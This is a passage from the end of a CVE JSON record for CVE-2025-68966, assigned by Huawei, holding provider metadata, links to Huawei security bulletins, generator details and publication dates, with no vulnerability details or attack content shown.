      ],
      "providerMetadata": {
        "dateUpdated": "2026-01-14T02:14:40.405Z",
        "orgId": "25ac1063-e409-4190-8079-24548c77ea2e",
        "shortName": "huawei"
      },
      "references": [
        {
          "url": "https://consumer.huawei.com/en/support/bulletin/2026/1//"
        },
        {
          "url": "https://consumer.huawei.com/en/support/bulletinlaptops/2026/1//"
        },
        {
          "url": "https://consumer.huawei.com/en/support/bulletinvision/2026/1/"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "x_generator": {
        "engine": "Vulnogram 0.5.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "25ac1063-e409-4190-8079-24548c77ea2e",
    "assignerShortName": "huawei",
    "cveId": "CVE-2025-68966",
    "datePublished": "2026-01-14T02:14:40.405Z",
    "dateReserved": "2025-12-27T09:06:51.411Z",
    "dateUpdated": "2026-01-14T14:29:54.142Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}